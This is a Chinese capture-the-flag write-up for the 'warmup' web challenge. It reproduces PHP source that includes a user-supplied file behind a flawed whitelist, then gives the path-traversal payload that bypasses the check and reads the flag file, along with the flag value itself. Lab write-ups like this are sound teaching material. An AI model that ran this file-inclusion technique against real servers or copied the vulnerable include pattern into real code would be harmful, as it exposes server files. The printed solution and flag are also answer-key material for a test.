当前位置: 代码迷 >> 综合 >> 攻防世界_WEB:warmup
  详细解决方案

攻防世界_WEB:warmup

热度:51   发布时间:2024-02-11 11:30:30.0

在这里插入图片描述
开局一个笑脸,控制台看源码,提示source.php,进入后一串代码

<?phphighlight_file(__FILE__);class emmm{public static function checkFile(&$page){$whitelist = ["source"=>"source.php","hint"=>"hint.php"];if (! isset($page) || !is_string($page)) {echo "you can't see it";return false;}if (in_array($page, $whitelist)) {return true;}$_page = mb_substr($page,0,mb_strpos($page . '?', '?'));if (in_array($_page, $whitelist)) {return true;}$_page = urldecode($page);$_page = mb_substr($_page,0,mb_strpos($_page . '?', '?'));if (in_array($_page, $whitelist)) {return true;}echo "you can't see it";return false;}}if (! empty($_REQUEST['file'])&& is_string($_REQUEST['file'])&& emmm::checkFile($_REQUEST['file'])) {include $_REQUEST['file'];exit;} else {echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";}  
?>

得到另一个地址hint.php,进入后是提示在这里插入图片描述

下面进行代码分析

if (! empty($_REQUEST['file'])  //$_REQUEST['file']值非空&& is_string($_REQUEST['file'])  //$_REQUEST['file']值为字符串&& emmm::checkFile($_REQUEST['file'])  //checkFile函数过滤) {include $_REQUEST['file'];  //包含$_REQUEST['file']文件exit;} else {echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";} 

1.值为非空
2.值为字符串
3.能够通过checkFile()函数校验

并且checkfile()函数中出现了白名单,source.php或者hint.php做参。
构造?file=source.php?../../../../../ffffllllaaaagggg
当然…/…/是经过一个一个累加得出来的,毕竟不知道flag放在哪一层目录。

flag{25e7bce6005c4e0c983fb97297ac6e5a}